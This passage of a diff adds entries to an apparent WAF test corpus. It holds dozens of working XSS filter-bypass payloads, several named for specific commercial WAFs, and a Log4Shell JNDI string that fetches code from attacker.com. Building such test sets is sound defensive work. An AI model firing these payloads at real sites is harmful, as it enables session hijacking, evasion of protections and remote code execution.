+ "payload": "%E0%80%BCscript%E0%80%BEalert(1)%E0%80%BC/script%E0%80%BE",
687
+ "tags": ["filter-bypass", "utf-8", "three-byte"],
688
+ "expected_block": true,
689
+ "severity_hint": "High",
690
+ "notes": "UTF-8 three-byte overlong encoding",
691
+ "category": "XSS"
692
+ },
693
+ {
694
+ "id": "XSS-FILT-190",
695
+ "payload": "%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00",
696
+ "tags": ["filter-bypass", "utf-16be"],
697
+ "expected_block": true,
698
+ "severity_hint": "High",
699
+ "notes": "UTF-16BE encoding bypass",
700
+ "category": "XSS"
701
+ },
702
+ {
703
+ "id": "XSS-FILT-191",
704
+ "payload": "%fe%ff%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E",
705
+ "tags": ["filter-bypass", "bom", "utf-16"],
706
+ "expected_block": true,
707
+ "severity_hint": "High",
708
+ "notes": "BOM UTF-16 bypass",
709
+ "category": "XSS"
710
+ },
711
+ {
712
+ "id": "XSS-FILT-192",
713
+ "payload": "javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()",
714
+ "tags": ["filter-bypass", "katakana", "jsfuck"],
715
+ "expected_block": true,
716
+ "severity_hint": "Critical",
717
+ "notes": "Katakana JS bypass",
718
+ "category": "XSS"
719
+ },
720
+ {
721
+ "id": "XSS-FILT-193",
722
+ "payload": "<object onafterscriptexecute=confirm(0)>",
723
+ "tags": ["filter-bypass", "object", "event"],
724
+ "expected_block": true,
725
+ "severity_hint": "High",
726
+ "notes": "Less known event handler",
727
+ "category": "XSS"
728
+ },
729
+ {
730
+ "id": "XSS-FILT-194",
731
+ "payload": "<object onbeforescriptexecute=confirm(0)>",
732
+ "tags": ["filter-bypass", "object", "event"],
733
+ "expected_block": true,
734
+ "severity_hint": "High",
735
+ "notes": "Before script execute event",
736
+ "category": "XSS"
737
+ },
738
+ {
739
+ "id": "XSS-FILT-195",
740
+ "payload": "<img src='1' onerror/=alert(0) />",
741
+ "tags": ["filter-bypass", "slash", "attribute"],
742
+ "expected_block": true,
743
+ "severity_hint": "High",
744
+ "notes": "Slash before equals bypass",
745
+ "category": "XSS"
746
+ },
747
+ {
748
+ "id": "XSS-FILT-196",
749
+ "payload": "<img/src='1'/onerror=alert(0)>",
750
+ "tags": ["filter-bypass", "slash", "separator"],
751
+ "expected_block": true,
752
+ "severity_hint": "High",
753
+ "notes": "Slash as space replacement",
754
+ "category": "XSS"
755
+ },
756
+ {
757
+ "id": "XSS-FILT-197",
758
+ "payload": "<script>alert&DiacriticalGrave;1&DiacriticalGrave;</script>",
759
+ "tags": ["filter-bypass", "html-entity", "ecmascript6"],
760
+ "expected_block": true,
761
+ "severity_hint": "High",
762
+ "notes": "HTML entity grave accent ES6",
763
+ "category": "XSS"
764
+ },
765
+ {
766
+ "id": "XSS-FILT-198",
767
+ "payload": "javascript:'\\74\\163\\166\\147\\40\\157\\156\\154\\157\\141\\144\\75\\141\\154\\145\\162\\164\\50\\61\\51\\76'",
768
+ "tags": ["filter-bypass", "octal", "encoding"],
769
+ "expected_block": true,
770
+ "severity_hint": "High",
771
+ "notes": "Octal encoding bypass",
772
+ "category": "XSS"
773
+ },
774
+ {
775
+ "id": "XSS-FILT-199",
776
+ "payload": "\"><svg/onload=alert(1)>",
777
+ "tags": ["filter-bypass", "attribute-escape", "quick"],
778
+ "expected_block": true,
779
+ "severity_hint": "Critical",
780
+ "notes": "Double quote attribute escape",
781
+ "category": "XSS"
782
+ },
783
+ {
784
+ "id": "XSS-FILT-200",
785
+ "payload": "'><svg/onload=alert(1)>",
786
+ "tags": ["filter-bypass", "attribute-escape", "quick"],
787
+ "expected_block": true,
788
+ "severity_hint": "Critical",
789
+ "notes": "Single quote attribute escape",
790
+ "category": "XSS"
791
+ },
792
+ {
793
+ "id": "XSS-FILT-201",
794
+ "payload": "\"><img src=x onerror=alert(1)>",
795
+ "tags": ["filter-bypass", "breakout", "quick"],
796
+ "expected_block": true,
797
+ "severity_hint": "Critical",
798
+ "notes": "Quote breakout with img",
799
+ "category": "XSS"
800
+ },
801
+ {
802
+ "id": "XSS-FILT-202",
803
+ "payload": "</script><script>alert(1)</script>",
804
+ "tags": ["filter-bypass", "script-escape"],
805
+ "expected_block": true,
806
+ "severity_hint": "Critical",
807
+ "notes": "Script context escape",
808
+ "category": "XSS"
809
+ },
810
+ {
811
+ "id": "XSS-FILT-203",
812
+ "payload": "'-alert(1)-'",
813
+ "tags": ["filter-bypass", "string-context"],
814
+ "expected_block": true,
815
+ "severity_hint": "High",
816
+ "notes": "String context injection",
817
+ "category": "XSS"
818
+ },
819
+ {
820
+ "id": "XSS-FILT-204",
821
+ "payload": "\\'-alert(1)//",
822
+ "tags": ["filter-bypass", "escape-escape"],
823
+ "expected_block": true,
824
+ "severity_hint": "High",
825
+ "notes": "Escaping the escape character",
826
+ "category": "XSS"
827
+ },
828
+ {
829
+ "id": "XSS-FILT-205",
830
+ "payload": "</title><script>alert(1)</script>",
831
+ "tags": ["filter-bypass", "title-escape"],
832
+ "expected_block": true,
833
+ "severity_hint": "Critical",
834
+ "notes": "Title tag escape",
835
+ "category": "XSS"
836
+ },
837
+ {
838
+ "id": "XSS-FILT-206",
839
+ "payload": "</textarea><script>alert(1)</script>",
840
+ "tags": ["filter-bypass", "textarea-escape"],
841
+ "expected_block": true,
842
+ "severity_hint": "Critical",
843
+ "notes": "Textarea escape",
844
+ "category": "XSS"
845
+ },
846
+ {
847
+ "id": "XSS-FILT-207",
848
+ "payload": "</style><script>alert(1)</script>",
849
+ "tags": ["filter-bypass", "style-escape"],
850
+ "expected_block": true,
851
+ "severity_hint": "Critical",
852
+ "notes": "Style tag escape",
853
+ "category": "XSS"
854
+ },
855
+ {
856
+ "id": "XSS-FILT-208",
857
+ "payload": "<!--><script>alert(1)</script>-->",
858
+ "tags": ["filter-bypass", "comment"],
859
+ "expected_block": true,
860
+ "severity_hint": "High",
861
+ "notes": "HTML comment bypass",
862
+ "category": "XSS"
863
+ },
864
+ {
865
+ "id": "XSS-FILT-209",
866
+ "payload": "<![CDATA[><script>alert(1)</script>]]>",
867
+ "tags": ["filter-bypass", "cdata", "xml"],
868
+ "expected_block": true,
869
+ "severity_hint": "High",
870
+ "notes": "CDATA section bypass",
871
+ "category": "XSS"
872
+ },
873
+ {
874
+ "id": "XSS-FILT-210",
875
+ "payload": "<x]><script>alert(1)</script>",
876
+ "tags": ["filter-bypass", "malformed"],
877
+ "expected_block": true,
878
+ "severity_hint": "High",
879
+ "notes": "Malformed tag bypass",
880
+ "category": "XSS"
881
+ },
882
+ {
883
+ "id": "XSS-FILT-211",
884
+ "payload": "<svg/onrandom=random onload=confirm(1)>",
885
+ "tags": ["waf-bypass", "cloudflare", "onrandom"],
886
+ "expected_block": true,
887
+ "severity_hint": "Critical",
888
+ "notes": "Cloudflare WAF bypass via random event handler",
889
+ "category": "XSS"
890
+ },
891
+ {
892
+ "id": "XSS-FILT-212",
893
+ "payload": "<video onnull=null onmouseover=confirm(1)>",
894
+ "tags": ["waf-bypass", "cloudflare", "onnull"],
895
+ "expected_block": true,
896
+ "severity_hint": "Critical",
897
+ "notes": "Cloudflare WAF bypass via null event handler",
898
+ "category": "XSS"
899
+ },
900
+ {
901
+ "id": "XSS-FILT-213",
902
+ "payload": "<svg/OnLoad=\"`${prompt``}`\">",
903
+ "tags": ["waf-bypass", "cloudflare", "template-literal"],
904
+ "expected_block": true,
905
+ "severity_hint": "Critical",
906
+ "notes": "Cloudflare WAF bypass via template literal",
907
+ "category": "XSS"
908
+ },
909
+ {
910
+ "id": "XSS-FILT-214",
911
+ "payload": "<svg/onload=%26nbsp;alert`bohdan`+",
912
+ "tags": ["waf-bypass", "cloudflare", "nbsp"],
913
+ "expected_block": true,
914
+ "severity_hint": "Critical",
915
+ "notes": "Cloudflare WAF bypass via HTML entity space",
916
+ "category": "XSS"
917
+ },
918
+ {
919
+ "id": "XSS-FILT-215",
920
+ "payload": "1'\"><img/src/onerror=.1|alert``>",
921
+ "tags": ["waf-bypass", "cloudflare", "bitwise"],
922
+ "expected_block": true,
923
+ "severity_hint": "Critical",
924
+ "notes": "Cloudflare WAF bypass via bitwise OR",
925
+ "category": "XSS"
926
+ },
927
+ {
928
+ "id": "XSS-FILT-216",
929
+ "payload": "<svg onload=prompt%26%230000000040document.domain)>",
930
+ "tags": ["waf-bypass", "cloudflare", "encoded-paren"],
931
+ "expected_block": true,
932
+ "severity_hint": "Critical",
933
+ "notes": "Cloudflare WAF bypass via encoded parenthesis",
934
+ "category": "XSS"
935
+ },
936
+ {
937
+ "id": "XSS-FILT-217",
938
+ "payload": "<svg onload=prompt%26%23x000000028;document.domain)>",
939
+ "tags": ["waf-bypass", "cloudflare", "hex-encoded"],
940
+ "expected_block": true,
941
+ "severity_hint": "Critical",
942
+ "notes": "Cloudflare WAF bypass via hex encoded paren",
943
+ "category": "XSS"
944
+ },
945
+ {
946
+ "id": "XSS-FILT-218",
947
+ "payload": "xss'\"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>",
948
+ "tags": ["waf-bypass", "cloudflare", "srcdoc"],
949
+ "expected_block": true,
950
+ "severity_hint": "Critical",
951
+ "notes": "Cloudflare WAF bypass via iframe srcdoc",
952
+ "category": "XSS"
953
+ },
954
+ {
955
+ "id": "XSS-FILT-219",
956
+ "payload": "<svg/onload=&#97&#108&#101&#114&#00116&#40&#41&#x2f&#x2f",
957
+ "tags": ["waf-bypass", "cloudflare", "mixed-entities"],
958
+ "expected_block": true,
959
+ "severity_hint": "Critical",
960
+ "notes": "Cloudflare WAF bypass via mixed HTML entities",
961
+ "category": "XSS"
962
+ },
963
+ {
964
+ "id": "XSS-FILT-220",
965
+ "payload": "<a href=\"j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(document.domain)&rpar;\">X</a>",
966
+ "tags": ["waf-bypass", "cloudflare", "tab-entities"],
967
+ "expected_block": true,
968
+ "severity_hint": "Critical",
969
+ "notes": "Cloudflare WAF bypass via Tab and NewLine entities",
970
+ "category": "XSS"
971
+ },
972
+ {
973
+ "id": "XSS-FILT-221",
974
+ "payload": "<svg onload\\r\\n=$.globalEval(\"al\"+\"ert()\");>",
975
+ "tags": ["waf-bypass", "incapsula", "newline"],
976
+ "expected_block": true,
977
+ "severity_hint": "Critical",
978
+ "notes": "Incapsula WAF bypass via CRLF in event handler",
979
+ "category": "XSS"
980
+ },
981
+ {
982
+ "id": "XSS-FILT-222",
983
+ "payload": "anythinglr00</script><script>alert(document.domain)</script>uxldz",
984
+ "tags": ["waf-bypass", "incapsula", "script-break"],
985
+ "expected_block": true,
986
+ "severity_hint": "Critical",
987
+ "notes": "Incapsula WAF bypass via script tag injection",
988
+ "category": "XSS"
989
+ },
990
+ {
991
+ "id": "XSS-FILT-223",
992
+ "payload": "anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz",
993
+ "tags": ["waf-bypass", "incapsula", "url-encoded"],
994
+ "expected_block": true,
995
+ "severity_hint": "Critical",
996
+ "notes": "Incapsula WAF bypass URL encoded script tags",
997
+ "category": "XSS"
998
+ },
999
+ {
1000
+ "id": "XSS-FILT-224",
1001
+ "payload": "?\"></script><base%20c%3D=href%3Dhttps:\\mysite>",
1002
+ "tags": ["waf-bypass", "akamai", "base-tag"],
1003
+ "expected_block": true,
1004
+ "severity_hint": "Critical",
1005
+ "notes": "Akamai WAF bypass via base tag injection",
1006
+ "category": "XSS"
1007
+ },
1008
+ {
1009
+ "id": "XSS-FILT-225",
1010
+ "payload": "<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>",
1011
+ "tags": ["waf-bypass", "akamai", "newline-mixed"],
1012
+ "expected_block": true,
1013
+ "severity_hint": "Critical",
1014
+ "notes": "Akamai WAF bypass via mixed case and newlines",
1015
+ "category": "XSS"
1016
+ },
1017
+ {
1018
+ "id": "XSS-FILT-226",
1019
+ "payload": "<a href=javas&#99;ript:alert(1)>",
1020
+ "tags": ["waf-bypass", "wordfence", "encoded-js"],
1021
+ "expected_block": true,
1022
+ "severity_hint": "Critical",
1023
+ "notes": "WordFence WAF bypass via encoded javascript",
1024
+ "category": "XSS"
1025
+ },
1026
+ {
1027
+ "id": "XSS-FILT-227",
1028
+ "payload": "\\u003e\\u003c\\u0068\\u0031 onclick=alert('1')\\u003e",
1029
+ "tags": ["waf-bypass", "fortiweb", "unicode-escape"],
1030
+ "expected_block": true,
1031
+ "severity_hint": "Critical",
1032
+ "notes": "Fortiweb WAF bypass via Unicode escapes",
1033
+ "category": "XSS"
1034
+ },
1035
+ {
1036
+ "id": "XSS-FILT-228",
1037
+ "payload": "<script>onerror=alert;throw 1337</script>",
1038
+ "tags": ["filter-bypass", "no-parenthesis", "throw"],
1039
+ "expected_block": true,
1040
+ "severity_hint": "Critical",
1041
+ "notes": "Parenthesis bypass via onerror throw",
1042
+ "category": "XSS"
1043
+ },
1044
+ {
1045
+ "id": "XSS-FILT-229",
1046
+ "payload": "<script>{onerror=alert}throw 1337</script>",
1047
+ "tags": ["filter-bypass", "no-parenthesis", "block"],
1048
+ "expected_block": true,
1049
+ "severity_hint": "Critical",
1050
+ "notes": "Parenthesis bypass via block statement",
1051
+ "category": "XSS"
1052
+ },
1053
+ {
1054
+ "id": "XSS-FILT-230",
1055
+ "payload": "<script>throw onerror=alert,'some string',123,'haha'</script>",
1056
+ "tags": ["filter-bypass", "no-parenthesis", "comma-throw"],
1057
+ "expected_block": true,
1058
+ "severity_hint": "Critical",
1059
+ "notes": "Parenthesis bypass via comma operator throw",
1060
+ "category": "XSS"
1061
+ },
1062
+ {
1063
+ "id": "XSS-FILT-231",
1064
+ "payload": "<script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>",
1065
+ "tags": ["filter-bypass", "no-parenthesis", "regex-throw"],
1066
+ "expected_block": true,
1067
+ "severity_hint": "Critical",
1068
+ "notes": "Advanced parenthesis bypass via regex throw",
1069
+ "category": "XSS"
1070
+ },
1071
+ {
1072
+ "id": "XSS-FILT-232",
1073
+ "payload": "<script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>",
1074
+ "tags": ["filter-bypass", "no-parenthesis", "prototype"],
1075
+ "expected_block": true,
1076
+ "severity_hint": "Critical",
1077
+ "notes": "Parenthesis bypass via TypeError prototype",
1078
+ "category": "XSS"
1079
+ },
1080
+ {
1081
+ "id": "XSS-FILT-233",
1082
+ "payload": "<script x>alert('XSS')<script y>",
1083
+ "tags": ["filter-bypass", "tag-bypass", "malformed"],
1084
+ "expected_block": true,
1085
+ "severity_hint": "High",
1086
+ "notes": "Tag blacklist bypass via attributes",
1087
+ "category": "XSS"
1088
+ },
1089
+ {
1090
+ "id": "XSS-FILT-234",
1091
+ "payload": "eval('ale'+'rt(0)');",
1092
+ "tags": ["filter-bypass", "word-blacklist", "concat"],
1093
+ "expected_block": true,
1094
+ "severity_hint": "Critical",
1095
+ "notes": "Word blacklist bypass via string concatenation",
1096
+ "category": "XSS"
1097
+ },
1098
+ {
1099
+ "id": "XSS-FILT-235",
1100
+ "payload": "Function(\"ale\"+\"rt(1)\")();",
1101
+ "tags": ["filter-bypass", "word-blacklist", "function-constructor"],
1102
+ "expected_block": true,
1103
+ "severity_hint": "Critical",
1104
+ "notes": "Word blacklist bypass via Function constructor",
1105
+ "category": "XSS"
1106
+ },
1107
+ {
1108
+ "id": "XSS-FILT-236",
1109
+ "payload": "new Function`al\\ert\\`6\\``;",
1110
+ "tags": ["filter-bypass", "word-blacklist", "template-literal"],
1111
+ "expected_block": true,
1112
+ "severity_hint": "Critical",
1113
+ "notes": "Word blacklist bypass via template literal escape",
1114
+ "category": "XSS"
1115
+ },
1116
+ {
1117
+ "id": "XSS-FILT-237",
1118
+ "payload": "setTimeout('ale'+'rt(2)');",
1119
+ "tags": ["filter-bypass", "word-blacklist", "settimeout"],
1120
+ "expected_block": true,
1121
+ "severity_hint": "Critical",
1122
+ "notes": "Word blacklist bypass via setTimeout concat",
1123
+ "category": "XSS"
1124
+ },
1125
+ {
1126
+ "id": "XSS-FILT-238",
1127
+ "payload": "setInterval('ale'+'rt(10)');",
1128
+ "tags": ["filter-bypass", "word-blacklist", "setinterval"],
1129
+ "expected_block": true,
1130
+ "severity_hint": "Critical",
1131
+ "notes": "Word blacklist bypass via setInterval concat",
1132
+ "category": "XSS"
1133
+ },
1134
+ {
1135
+ "id": "XSS-FILT-239",
1136
+ "payload": "Set.constructor('ale'+'rt(13)')();",
1137
+ "tags": ["filter-bypass", "word-blacklist", "set-constructor"],
1138
+ "expected_block": true,
1139
+ "severity_hint": "Critical",
1140
+ "notes": "Word blacklist bypass via Set.constructor",
1141
+ "category": "XSS"
1142
+ },
1143
+ {
1144
+ "id": "XSS-FILT-240",
1145
+ "payload": "Set.constructor`al\\x65rt\\x2814\\x29``;",
1146
+ "tags": ["filter-bypass", "word-blacklist", "hex-template"],
1147
+ "expected_block": true,
1148
+ "severity_hint": "Critical",
1149
+ "notes": "Word blacklist bypass via hex template literal",
1150
+ "category": "XSS"
1151
+ },
1152
+ {
1153
+ "id": "XSS-FILT-241",
1154
+ "payload": "{{x=['constr', 'uctor'];a=x.join('');b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'pr\\u{6f}mpt(d\\u{6f}cument.d\\u{6f}main)')()}}",
1155
+ "tags": ["waf-bypass", "imperva", "angular"],
1156
+ "expected_block": true,
1157
+ "severity_hint": "Critical",
1158
+ "notes": "Imperva WAF bypass via AngularJS constructor split",
1159
+ "category": "XSS"
1160
+ },
1161
+ {
1162
+ "id": "XSS-FILT-242",
1163
+ "payload": "{{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(97,108,101,114,116,40,49,41))()}}",
1164
+ "tags": ["waf-bypass", "angular", "fromcharcode"],
1165
+ "expected_block": true,
1166
+ "severity_hint": "Critical",
1167
+ "notes": "AngularJS no-quote bypass via fromCharCode",
1168
+ "category": "XSS"
1169
+ },
1170
+ {
1171
+ "id": "XSS-FILT-243",
1172
+ "payload": "{{x=767015343;y=50986827;a=x.toString(36)+y.toString(36);b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,toString()[a].fromCharCode(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()}}",
1173
+ "tags": ["waf-bypass", "angular", "toString36"],
1174
+ "expected_block": true,
1175
+ "severity_hint": "Critical",
1176
+ "notes": "AngularJS no-quote bypass via toString(36)",
1177
+ "category": "XSS"
1178
+ },
1179
+ {
1180
+ "id": "XSS-FILT-244",
1181
+ "payload": "%26%2397;lert(1)",
1182
+ "tags": ["filter-bypass", "html-encoding", "double-entity"],
1183
+ "expected_block": true,
1184
+ "severity_hint": "High",
1185
+ "notes": "HTML double-entity encoding bypass",
1186
+ "category": "XSS"
1187
+ },
1188
+ {
1189
+ "id": "XSS-FILT-245",
1190
+ "payload": "></script><svg onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)>",
1191
+ "tags": ["filter-bypass", "html-encoding", "entity-function"],
1192
+ "expected_block": true,
1193
+ "severity_hint": "Critical",
1194
+ "notes": "HTML entity encoded function bypass",
1195
+ "category": "XSS"
1196
+ },
1197
+ {
1198
+ "id": "XSS-FILT-246",
1199
+ "payload": "javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()",
1200
+ "tags": ["filter-bypass", "katakana", "obfuscation"],
1201
+ "expected_block": true,
1202
+ "severity_hint": "Critical",
1203
+ "notes": "Filter bypass via Katakana obfuscation",
1204
+ "category": "XSS"
1205
+ },
1206
+ {
1207
+ "id": "XSS-FILT-247",
1208
+ "payload": "<sCrIpt>alert(1)</ScRipt>",
1209
+ "tags": ["filter-bypass", "case-sensitivity", "mixed-case"],
1210
+ "expected_block": true,
1211
+ "severity_hint": "High",
1212
+ "notes": "Case-sensitive filter bypass via mixed case",
1213
+ "category": "XSS"
1214
+ },
1215
+ {
1216
+ "id": "XSS-FILT-248",
1217
+ "payload": "<ScrIPt>alert(1)</ScRipT>",
1218
+ "tags": ["filter-bypass", "case-sensitivity", "alternating"],
1219
+ "expected_block": true,
1220
+ "severity_hint": "High",
1221
+ "notes": "Case-sensitive bypass via alternating case",
1222
+ "category": "XSS"
1223
+ },
1224
+ {
1225
+ "id": "XSS-FILT-249",
1226
+ "payload": "${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}",
1227
+ "tags": ["waf-bypass", "log4j", "jndi"],
1228
+ "expected_block": true,
1229
+ "severity_hint": "Critical",
1230
+ "notes": "Log4Shell WAF bypass via env variable substitution",
1231
+ "category": "XSS"
1232
+ },
1233
+ {
1234
+ "id": "XSS-FILT-250",
1235
+ "payload": "<html onMouseUp html onMouseUp=\"javascript:javascript:alert(1)\"></html onMouseUp>",
1236
+ "tags": ["filter-bypass", "event-handler", "duplicate-attr"],
1237
+ "expected_block": true,
1238
+ "severity_hint": "High",
1239
+ "notes": "Filter bypass via duplicate event attributes",
1240
+ "category": "XSS"
1241
+ }
1242
+ ]